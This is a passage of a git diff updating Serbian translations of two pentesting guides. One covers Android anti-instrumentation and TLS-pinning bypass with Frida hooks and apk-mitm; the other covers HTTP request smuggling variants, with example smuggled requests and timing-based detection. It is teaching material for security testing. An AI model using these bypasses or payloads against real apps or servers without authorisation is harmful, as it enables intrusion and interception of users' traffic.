diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index eae3411f4..6dec74264 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,30 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} -Ova stranica pruža praktičan radni tok za ponovnu analizu dinamičkih aplikacija na Androidu koje detektuju/blokiraju instrumentaciju ili primenjuju TLS pinning. Fokusira se na brzu procenu, uobičajene detekcije i kopirljive hook-ove/taktike za zaobilaženje bez repakovanja kada je to moguće. +Ova stranica daje praktičan workflow za povraćaj dinamičke analize nad Android aplikacijama koje detektuju/sprečavaju instrumentation zbog root-a ili nameću TLS pinning. Fokusira se na brzu trijažu, uobičajene detekcije i kopiraj‑zalepi hookove/taktike za zaobilaženje bez repackovanja kad je to moguće. -## Detection Surface (šta aplikacije proveravaju) +## Detection Surface (what apps check) -- Provere root-a: su binarni, Magisk putevi, getprop vrednosti, uobičajeni root paketi -- Frida/debugger provere (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), skeniranje /proc, classpath, učitane biblioteke -- Native anti-debug: ptrace(), syscalls, anti-attach, breakpoint-ovi, inline hook-ovi -- Provere ranog inicijalizovanja: Application.onCreate() ili hook-ovi za pokretanje procesa koji se ruše ako je prisutna instrumentacija -- TLS pinning: prilagođeni TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pinovi +- Root checks: su binary, Magisk paths, getprop values, common root packages +- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs +- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks +- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present +- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins -## Step 1 — Brza pobeda: sakrijte root sa Magisk DenyList +## Step 1 — Quick win: hide root with Magisk DenyList -- Omogućite Zygisk u Magisk-u -- Omogućite DenyList, dodajte ciljni paket -- Ponovo pokrenite i ponovo testirajte +- Enable Zygisk in Magisk +- Enable DenyList, add the target package +- Reboot and retest -Mnoge aplikacije samo traže očigledne indikatore (su/Magisk putevi/getprop). DenyList često neutralizuje naivne provere. +Mnoge aplikacije traže samo očigledne indikatore (su/Magisk paths/getprop). DenyList često neutralizuje naivne provere. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk -## Step 2 — 30‑sekundni Frida Codeshare testovi +## Step 2 — 30‑second Frida Codeshare tests -Isprobajte uobičajene drop-in skripte pre nego što se detaljno upustite: +Probaj uobičajene drop‑in skripte pre nego što kreneš u dublju analizu: - anti-root-bypass.js - anti-frida-detection.js @@ -35,24 +35,24 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Ovo obično obezbeđuje stubove za Java root/debug provere, skeniranja procesa/usluga i native ptrace(). Korisno je na slabo zaštićenim aplikacijama; ojačani ciljevi mogu zahtevati prilagođene hook-ove. +Oni obično stubuju Java root/debug checks, process/service scans i native ptrace(). Korisno za slabo zaštićene apps; hardened targets mogu zahtevati tailored hooks. - Codeshare: https://codeshare.frida.re/ -## Korak 3 — Zaobići detektore u vreme inicijalizacije kasnim povezivanjem +## Korak 3 — Zaobiđite detektore pri inicijalizaciji priključivanjem kasnije -Mnoge detekcije se izvršavaju samo tokom pokretanja procesa/onCreate(). Injekcija u vreme pokretanja (-f) ili gadgeti se hvataju; povezivanje nakon učitavanja UI može proći neprimećeno. +Mnoga detekcija se izvršavaju samo tokom process spawn/onCreate(). Spawn‑time injection (-f) ili gadgets bivaju otkriveni; priključivanje nakon učitavanja UI‑a može promaći. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Ako ovo funkcioniše, održavajte sesiju stabilnom i nastavite sa mapiranjem i stub proverama. +Ako ovo radi, održi sesiju stabilnom i nastavi sa mapiranjem i stub proverama. -## Korak 4 — Mapiranje logike detekcije putem Jadx-a i pretrage stringova +## Korak 4 — Mapiraj logiku detekcije preko Jadx i pretragom stringova -Statističke ključne reči u Jadx-u: +Ključne reči za statičku trijažu u Jadx: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" Tipični Java obrasci: @@ -61,16 +61,16 @@ public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -Uobičajeni API-ji za pregledanje/hook: +Uobičajeni API-jevi za review/hook: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) - java.lang.Runtime.exec / ProcessBuilder (probing commands) - android.os.SystemProperties.get (root/emulator heuristics) -## Korak 5 — Runtime stubbing sa Frida (Java) +## Korak 5 — Runtime stubbing with Frida (Java) -Override custom guards to return safe values without repacking: +Override custom guards da vraćaju sigurne vrednosti bez repacking-a: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Triaging early crashes? Dump classes just before it dies to spot likely detection namespaces: +Trijaža ranih padova? Dump-ujte klase neposredno pre nego što aplikacija padne da biste uočili verovatne detection namespaces: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -94,7 +94,7 @@ onComplete: () => console.log('Done') }); }); ``` -Zabeležite i neutralizujte sumnjive metode kako biste potvrdili tok izvršenja: +Zabeležite i onesposobite sumnjive metode da potvrdite tok izvršavanja: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -104,24 +104,24 @@ return false; }; }); ``` -## Step 6 — Pratite JNI/nativni trag kada Java hook-ovi ne uspeju +## Korak 6 — Pratite JNI/native trag kada Java hooks zakažu -Pratite JNI ulazne tačke da locirate nativne učitavače i inicijalizaciju detekcije: +Pratite JNI ulazne tačke da biste pronašli native loaders i detection init: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -Brza native procena pakovanih .so fajlova: +Brza nativna trijaža priloženih .so datoteka: ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -Interaktivno/nativno obrtanje: +Interaktivno / native reversing: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Primer: neuter ptrace da se savlada jednostavna anti‑debug zaštita u libc: +Primer: onesposobiti ptrace da bi se zaobišao jednostavan anti‑debug u libc: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -130,40 +130,43 @@ return -1; // pretend failure }, 'int', ['int', 'int', 'pointer', 'pointer'])); } ``` -Pogledajte takođe: {{#ref}} +Vidi takođe: +{{#ref}} reversing-native-libraries.md {{#endref}} -## Korak 7 — Objection patching (ugradnja gadget-a / osnove uklanjanja) +## Korak 7 — Objection patching (embed gadget / strip basics) -Kada preferirate repakovanje umesto runtime hook-ova, pokušajte: +Ako više volite repacking umesto runtime hooks, pokušajte: ```bash objection patchapk --source app.apk ``` Napomene: -- Zahteva apktool; obezbedite trenutnu verziju iz zvaničnog vodiča kako biste izbegli probleme sa izgradnjom: https://apktool.org/docs/install -- Umetanje gadgeta omogućava instrumentaciju bez root-a, ali može biti uhvaćeno jačim proverenim inicijalnim proverama. +- Zahteva apktool; obezbedite aktuelnu verziju iz zvaničnog vodiča da biste izbegli probleme pri buildovanju: https://apktool.org/docs/install +- Gadget injection omogućava instrumentation bez root-a, ali može biti otkrivena jačim init‑time checks. -Reference: +References: - Objection: https://github.com/sensepost/objection -## Korak 8 — Rezerva: Zakrpite TLS pinning za vidljivost mreže +## Korak 8 — Plan B: Uklonite TLS pinning radi vidljivosti mreže -Ako je instrumentacija blokirana, još uvek možete pregledati saobraćaj uklanjanjem pinning-a statički: +Ako je instrumentation blokirana, i dalje možete da pregledate saobraćaj tako što ćete statički ukloniti pinning: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - Alat: https://github.com/shroudedcode/apk-mitm -- Za trikove sa CA‑trust konfiguracijom mreže (i Android 7+ korisničkim CA trust), pogledajte: +- Za trikove vezane za network config CA‑trust (i Android 7+ user CA trust), vidi: + {{#ref}} make-apk-accept-ca-certificate.md {{#endref}} + {{#ref}} install-burp-certificate.md {{#endref}} -## Korisna komanda cheat‑sheet +## Koristan spisak komandi ```bash # List processes and attach frida-ps -Uai @@ -181,12 +184,12 @@ objection --gadget com.example.app explore # Static TLS pinning removal apk-mitm app.apk ``` -## Saveti i upozorenja +## Saveti i napomene -- Preferirajte kasno povezivanje umesto pokretanja kada aplikacije padnu pri pokretanju -- Neka otkrivanja ponovo rade u kritičnim tokovima (npr., plaćanje, autentifikacija) — držite hook-ove aktivne tokom navigacije -- Kombinujte statičko i dinamičko: pretražujte stringove u Jadx da skratite listu klasa; zatim hook-ujte metode da verifikujete u vreme izvođenja -- Ojačane aplikacije mogu koristiti pakere i nativno TLS pinovanje — očekujte da obrnite nativni kod +- Preferirajte attach kasnije umesto spawn-ovanja kada apps crash-uju pri launch-u +- Neki detections se ponovo pokreću u kritičnim flow-ovima (npr. payment, auth) — držite hooks aktivnim tokom navigacije +- Mešajte static i dynamic: string hunt u Jadx da suzite listu klasa; zatim hook-ujte metode da verifikujete u runtime-u +- Hardened apps mogu koristiti packers i native TLS pinning — očekujte da reverse-ujete native code ## Reference diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 79ec65621..0957aa2a0 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -2,62 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} + ## Šta je -Ova ranjivost se javlja kada **desinkronizacija** između **frontalnih proksija** i **pozadinskog** servera omogućava **napadaču** da **pošalje** HTTP **zahtev** koji će biti **tumačen** kao **jedan zahtev** od strane **frontalnih** proksija (load balance/reverse-proxy) i **kao 2 zahteva** od strane **pozadinskog** servera.\ -To omogućava korisniku da **modifikuje sledeći zahtev koji stigne do pozadinskog servera nakon njegovog**. +Ova ranjivost se javlja kada postoji **desinhronizacija** između **front-end proxies** i **back-end** servera koja omogućava **attacker**-u da **pošalje** HTTP **request** koji će biti **interpretiran** kao **jedan request** od strane **front-end** proxies (load balance/reverse-proxy), a **kao 2 request-a** od strane **back-end** servera.\ +Ovo omogućava korisniku da **izmeni sledeći request koji stigne do back-end servera nakon njegovog**. ### Teorija -[**RFC Specifikacija (2161)**](https://tools.ietf.org/html/rfc2616) +[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) -> Ako je poruka primljena sa oba, Transfer-Encoding zaglavlje i Content-Length zaglavlje, potonje MORA biti ignorisano. +> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored. **Content-Length** -> Content-Length entitetsko zaglavlje označava veličinu entitetskog tela, u bajtovima, poslatog primaocu. +> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient. **Transfer-Encoding: chunked** -> Transfer-Encoding zaglavlje specificira oblik kodiranja koji se koristi za sigurno prenošenje sadržaja korisniku.\ -> Chunked znači da se veliki podaci šalju u seriji delova. +> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\ +> Chunked means that large data is sent in a series of chunks -### Stvarnost +### Realnost -**Frontalni** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ zaglavlje, a **pozadinski** server **obrađuje drugo**, izazivajući **desinkronizaciju** između 2 sistema.\ -To može biti veoma kritično jer **napadač može poslati jedan zahtev** do reverse proxy-a koji će biti **tumačen** od strane **pozadinskog** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **pozadinski** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta**, a **stvarni zahtev** tog klijenta će biti **deo** **ubačenog zahteva**. +Prednji sloj (a load-balance / Reverse Proxy) obrađuje _**Content-Length**_ ili _**Transfer-Encoding**_ header, a **back-end** server obrađuje onaj drugi, što izaziva **desinhronizaciju** između ta dva sistema.\ +Ovo može biti veoma kritično jer **attacker** će moći da pošalje jedan request ka reverse proxy-ju koji će **back-end** server **interpretirati** kao **2 različita request-a**. Opasnost ove tehnike leži u tome što će **back-end** server tretirati **drugi injektovani request** kao da je **stigao od narednog klijenta**, dok će **stvarni request** tog klijenta postati **deo injektovanog request-a**. -### Posebnosti +### Specifičnosti -Zapamtite da u HTTP **novi red karakter se sastoji od 2 bajta:** +Zapamtite da u HTTP-u **karakter novog reda se sastoji od 2 bajta:** -- **Content-Length**: Ovo zaglavlje koristi **decimalni broj** da označi **broj** **bajtova** **tela** zahteva. Očekuje se da telo završi u poslednjem karakteru, **novi red nije potreban na kraju zahteva**. -- **Transfer-Encoding:** Ovo zaglavlje koristi u **telu** **heksadecimalni broj** da označi **broj** **bajtova** **sledećeg dela**. **Chunk** mora **završiti** sa **novim redom**, ali ovaj novi red **se ne računa** od strane indikatora dužine. Ova metoda prenosa mora završiti sa **delom veličine 0 praćenim sa 2 nova reda**: `0` -- **Connection**: Na osnovu mog iskustva, preporučuje se korišćenje **`Connection: keep-alive`** na prvom zahtevu prilikom smuggling-a. +- **Content-Length**: Ovaj header koristi **decimalni broj** da označi **broj bajtova** tela request-a. Body se očekuje da se završi poslednjim karakterom, **novi red nije potreban na kraju request-a**. +- **Transfer-Encoding:** Ovaj header koristi u **telu** **heksadecimalni broj** da označi **broj bajtova** narednog **chunka**. **Chunk** mora da se **završi** sa **novim redom**, ali taj novi red **nije uračunat** u indikator dužine. Ovaj način transfera mora da se završi sa **chunk-om veličine 0 praćenim sa 2 nova reda**: `0` +- **Connection**: Iz mog iskustva preporučuje se korišćenje **`Connection: keep-alive`** na prvom request-u kod request smuggling-a. -## Osnovni Primeri +## Osnovni primeri > [!TIP] -> Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u jer neki uređaji zloupotrebljavaju nove redove, povratne znakove i neispravne content-length vrednosti. +> Kada pokušavate da ovo eksploatišete sa Burp Suite-om **isključite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u zato što neki gadget-i zloupotrebljavaju nove linije, carriage return-e i malformed content-length vrednosti. -HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako frontalni i pozadinski serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji frontalni i pozadinski serveri prioritetizuju ova zaglavlja. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda. +HTTP request smuggling napadi se prave slanjem dvosmislenih zahteva koji iskorišćavaju razlike u tumačenju `Content-Length` (CL) i `Transfer-Encoding` (TE) header-a između front-end i back-end servera. Ovi napadi se mogu manifestovati u različitim oblicima, pre svega kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju prioriteta koje front-end i back-end serveri daju ovim header-ima. Ranjivosti nastaju zato što serveri procesiraju isti request na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda. -### Osnovni Primeri Ranjivosti +### Osnovni primeri tipova ranjivosti ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg) > [!TIP] -> U prethodnu tabelu trebate dodati TE.0 tehniku, kao CL.0 tehniku, ali koristeći Transfer Encoding. +> Na prethodnu tabelu bi trebalo dodati tehniku TE.0, slično CL.0 tehnici ali koristeći Transfer Encoding. -#### CL.TE Ranjivost (Content-Length koristi Frontalni, Transfer-Encoding koristi Pozadinski) +#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End) -- **Frontalni (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja. -- **Pozadinski (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja. -- **Scenarijo Napada:** +- **Front-End (CL):** Procesira request na osnovu `Content-Length` header-a. +- **Back-End (TE):** Procesira request na osnovu `Transfer-Encoding` header-a. +- **Scenarijo napada:** -- Napadač šalje zahtev gde vrednost `Content-Length` zaglavlja ne odgovara stvarnoj dužini sadržaja. -- Frontalni server prosleđuje ceo zahtev pozadinskom, na osnovu vrednosti `Content-Length`. -- Pozadinski server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` zaglavlja, tumačeći preostale podatke kao odvojen, sledeći zahtev. +- Attacker šalje request gde vrednost `Content-Length` header-a ne odgovara stvarnoj dužini sadržaja. +- Front-end server prosleđuje čitav request prema back-end-u na osnovu vrednosti `Content-Length`. +- Back-end server obrađuje request kao chunked zbog `Transfer-Encoding: chunked` header-a, interpretirajući preostale podatke kao odvojen, naknadni request. - **Primer:** ``` @@ -73,15 +74,15 @@ GET /404 HTTP/1.1 Foo: x ``` -#### TE.CL Ranjivost (Transfer-Encoding koristi Frontalni, Content-Length koristi Pozadinski) +#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End) -- **Frontalni (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja. -- **Pozadinski (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja. -- **Scenarijo Napada:** +- **Front-End (TE):** Procesira request na osnovu `Transfer-Encoding` header-a. +- **Back-End (CL):** Procesira request na osnovu `Content-Length` header-a. +- **Scenarijo napada:** -- Napadač šalje chunked zahtev gde veličina dela (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) ne odgovaraju. -- Frontalni server, poštujući `Transfer-Encoding`, prosleđuje ceo zahtev pozadinskom. -- Pozadinski server, poštujući `Content-Length`, obrađuje samo početni deo zahteva (`7b` bajtova), ostavljajući ostatak kao deo neplaniranog sledećeg zahteva. +- Attacker šalje chunked request gde veličina chunka (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) nisu usklađene. +- Front-end server, poštujući `Transfer-Encoding`, prosleđuje čitav request back-end-u. +- Back-end server, poštujući `Content-Length`, obrađuje samo početni deo request-a (`7b` bajtova), ostavljajući ostatak kao deo nenamernog naknadnog request-a. - **Primer:** ``` @@ -102,14 +103,14 @@ x= ``` -#### TE.TE Ranjivost (Transfer-Encoding koriste oba, sa obfuscation) +#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation) -- **Serveri:** Obe podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscation. -- **Scenarijo Napada:** +- **Servers:** Oboje podržavaju `Transfer-Encoding`, ali jedan može biti prevaren obfuskovanjem tako da ga ne prepozna. +- **Scenarijo napada:** -- Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` zaglavljima. -- U zavisnosti od toga koji server (frontalni ili pozadinski) ne prepoznaje obfuscation, može se iskoristiti CL.TE ili TE.CL ranjivost. -- Neobrađeni deo zahteva, kako ga vidi jedan od servera, postaje deo sledećeg zahteva, što dovodi do smuggling-a. +- Attacker šalje request sa obfuskovanim `Transfer-Encoding` header-ima. +- U zavisnosti koji server (front-end ili back-end) ne prepozna obfuskaciju, može se iskoristiti CL.TE ili TE.CL ranjivost. +- Nepromenjeni deo request-a, kako ga jedan od servera vidi, postaje deo naknadnog request-a, što vodi do smuggling-a. - **Primer:** ``` @@ -129,10 +130,10 @@ Transfer-Encoding : chunked ``` -#### **CL.CL Scenarijo (Content-Length koriste i Frontalni i Pozadinski)** +#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)** -- Obe servera obrađuju zahtev isključivo na osnovu `Content-Length` zaglavlja. -- Ovaj scenario obično ne dovodi do smuggling-a, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva. +- Oboje servera obrađuju request isključivo na osnovu `Content-Length` header-a. +- Ovaj scenarijo obično ne dovodi do smuggling-a, jer postoji usklađenost u načinu na koji oba servera tumače dužinu request-a. - **Primer:** ``` @@ -144,10 +145,10 @@ Connection: keep-alive Normal Request ``` -#### **CL.0 Scenarijo** +#### **CL.0 Scenario** -- Odnosi se na scenarije gde je `Content-Length` zaglavlje prisutno i ima vrednost različitu od nule, što ukazuje da telo zahteva ima sadržaj. Pozadinski server ignoriše `Content-Length` zaglavlje (koje se tretira kao 0), ali frontalni ga analizira. -- Ključno je za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva. +- Odnosi se na scenarije gde `Content-Length` header postoji i ima vrednost različitu od nule, što znači da telo request-a ima sadržaj. Back-end ignoriše `Content-Length` header (tretira ga kao 0), ali front-end ga parsira. +- Ovo je važno za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj request-a. - **Primer:** ``` @@ -159,10 +160,10 @@ Connection: keep-alive Non-Empty Body ``` -#### TE.0 Scenarijo +#### TE.0 Scenario -- Kao prethodni, ali koristeći TE. -- Tehnika [prijavljena ovde](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) +- Kao prethodni, ali koristeći TE +- Tehnika [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) - **Primer**: ``` OPTIONS / HTTP/1.1 @@ -181,33 +182,34 @@ x: X EMPTY_LINE_HERE EMPTY_LINE_HERE ``` -#### Breaking the web server +#### Rušenje web servera -Ova tehnika je takođe korisna u scenarijima gde je moguće **razbiti web server dok se čitaju inicijalni HTTP podaci** ali **bez zatvaranja veze**. Na ovaj način, **telo** HTTP zahteva će biti smatrano **sledećim HTTP zahtevom**. +Ova tehnika je takođe korisna u scenarijima gde je moguće da se **web server sruši tokom čitanja inicijalnih HTTP podataka**, ali **bez zatvaranja konekcije**. Na taj način, **body** HTTP zahteva biće smatran za **next HTTP request**. -Na primer, kao što je objašnjeno u [**ovoj analizi**](https://mizu.re/post/twisty-python), u Werkzeug-u je bilo moguće poslati neke **Unicode** karaktere i to će uzrokovati **razbijanje** servera. Međutim, ako je HTTP veza kreirana sa zaglavljem **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će **telo** zahteva biti tretirano kao **sledeći HTTP zahtev**. +Na primer, kao što je objašnjeno u [**this writeup**](https://mizu.re/post/twisty-python), u Werkzeugu je bilo moguće poslati neke **Unicode** karaktere i to će naterati server da se **break**. Međutim, ako je HTTP konekcija kreirana sa header-om **`Connection: keep-alive`**, body zahteva neće biti pročitan i konekcija će ostati otvorena, tako da će se **body** zahteva tretirati kao **next HTTP request**. #### Forcing via hop-by-hop headers -Zloupotrebom hop-by-hop zaglavlja mogli biste naznačiti proxy-ju da **izbaci zaglavlje Content-Length ili Transfer-Encoding kako bi se HTTP request smuggling mogao zloupotrebiti**. +Abuziranjem hop-by-hop headers možete naterati proxy da **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**. ``` Connection: Content-Length ``` -Za **više informacija o hop-by-hop header-ima** posetite: +For **više informacija o hop-by-hop headers** posetite: + {{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}} -## Pronalaženje HTTP Request Smuggling +## Otkrivanje HTTP Request Smuggling -Identifikacija HTTP request smuggling ranjivosti često se može postići korišćenjem tehnika merenja vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulirane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti: +Identifikacija ranjivosti HTTP request smuggling često se može postići korišćenjem tehnika zasnovanih na vremenu (timing techniques), koje se oslanjaju na posmatranje koliko vremena serveru treba da odgovori na manipulisan zahtev. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti: -### Pronalaženje CL.TE Ranjivosti Korišćenjem Tehnika Merenja Vremena +### Pronalaženje CL.TE ranjivosti korišćenjem tehnika zasnovanih na vremenu - **Metod:** -- Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka na dodatne podatke. +- Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke. - **Primer:** ``` @@ -223,18 +225,18 @@ A ``` - **Posmatranje:** -- Front-end server obrađuje zahtev na osnovu `Content-Length` i prekida poruku pre vremena. -- Back-end server, očekujući chunked poruku, čeka na sledeći chunk koji nikada ne dolazi, uzrokujući kašnjenje. +- Front-end server obrađuje zahtev na osnovu `Content-Length` i prerano prekida poruku. +- Back-end server, očekujući poruku u chunked formatu, čeka sledeći chunk koji nikada ne stigne, što izaziva kašnjenje. -- **Pokazatelji:** -- Timeout-ovi ili duga kašnjenja u odgovoru. -- Prijem 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru. +- **Indikatori:** +- Timeout-i ili dugo kašnjenje odgovora. +- Primanje 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru. -### Pronalaženje TE.CL Ranjivosti Korišćenjem Tehnika Merenja Vremena +### Pronalaženje TE.CL ranjivosti korišćenjem tehnika zasnovanih na vremenu - **Metod:** -- Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka na dodatne podatke. +- Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke. - **Primer:** ``` @@ -250,40 +252,40 @@ X - **Posmatranje:** - Front-end server obrađuje zahtev na osnovu `Transfer-Encoding` i prosleđuje celu poruku. -- Back-end server, očekujući poruku na osnovu `Content-Length`, čeka na dodatne podatke koji nikada ne dolaze, uzrokujući kašnjenje. +- Back-end server, očekujući poruku na osnovu `Content-Length`, čeka dodatne podatke koji nikada ne stignu, što izaziva kašnjenje. -### Druge Metode za Pronalaženje Ranjivosti +### Druge metode za pronalaženje ranjivosti -- **Analiza Diferencijalnog Odgovora:** -- Pošaljite malo izmenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na grešku u parsiranju. -- **Korišćenje Automatizovanih Alata:** -- Alati poput Burp Suite-ove 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem raznih oblika nejasnih zahteva i analizom odgovora. -- **Testovi Varijacije Content-Length:** -- Pošaljite zahteve sa različitim `Content-Length` vrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server reaguje na takve neslaganja. -- **Testovi Varijacije Transfer-Encoding:** -- Pošaljite zahteve sa obfuskovanim ili neispravnim `Transfer-Encoding` header-ima i pratite kako se front-end i back-end serveri različito ponašaju prema takvim manipulacijama. +- **Differential Response Analysis:** +- Pošaljite malo različite verzije zahteva i posmatrajte da li se odgovori servera neočekivano razlikuju, što može ukazivati na razliku u parsiranju. +- **Korišćenje automatizovanih alata:** +- Alati poput Burp Suite-ovog 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem različitih oblika dvosmislenih zahteva i analizom odgovora. +- **Content-Length Variance Tests:** +- Pošaljite zahteve sa različitim vrednostima `Content-Length` koje nisu u skladu sa stvarnom dužinom sadržaja i posmatrajte kako server postupa sa takvim neusklađenostima. +- **Transfer-Encoding Variance Tests:** +- Pošaljite zahteve sa obfuskiranim ili malformisanim `Transfer-Encoding` zaglavljima i pratite kako front-end i back-end serveri različito reaguju na takve manipulacije. -### Testiranje Ranjivosti HTTP Request Smuggling +### HTTP Request Smuggling Vulnerability Testing -Nakon potvrđivanja efikasnosti tehnika merenja vremena, ključno je proveriti da li se zahtevi klijenta mogu manipulirati. Jednostavna metoda je pokušaj trovanja vaših zahteva, na primer, da zahtev za `/` vrati 404 odgovor. Primeri `CL.TE` i `TE.CL` prethodno raspravljani u [Osnovnim Primerima](#basic-examples) pokazuju kako otrovati zahtev klijenta da izazove 404 odgovor, uprkos tome što klijent pokušava da pristupi drugom resursu. +Nakon potvrde efikasnosti tehnika zasnovanih na vremenu, ključno je proveriti da li se klijentski zahtevi mogu manipulisati. Jednostavan metod je pokušaj poisoning vaših zahteva, na primer da zahtev za `/` rezultira 404 odgovorom. Primeri `CL.TE` i `TE.CL` ranije diskutovani u [Basic Examples](#basic-examples) pokazuju kako poisoning zahteva može izazvati 404 odgovor, iako klijent pokušava da pristupi drugom resursu. -**Ključne Napomene** +**Ključna razmatranja** -Kada testirate ranjivosti request smuggling-a ometajući druge zahteve, imajte na umu: +Kada testirate request smuggling narušavanjem drugih zahteva, imajte na umu: -- **Različite Mrežne Konekcije:** "Napad" i "normalni" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje prisustvo ranjivosti. -- **Dosledni URL i Parametri:** Ciljajte da koristite identične URL-ove i imena parametara za oba zahteva. Moderne aplikacije često usmeravaju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Usklađivanje ovih povećava verovatnoću da 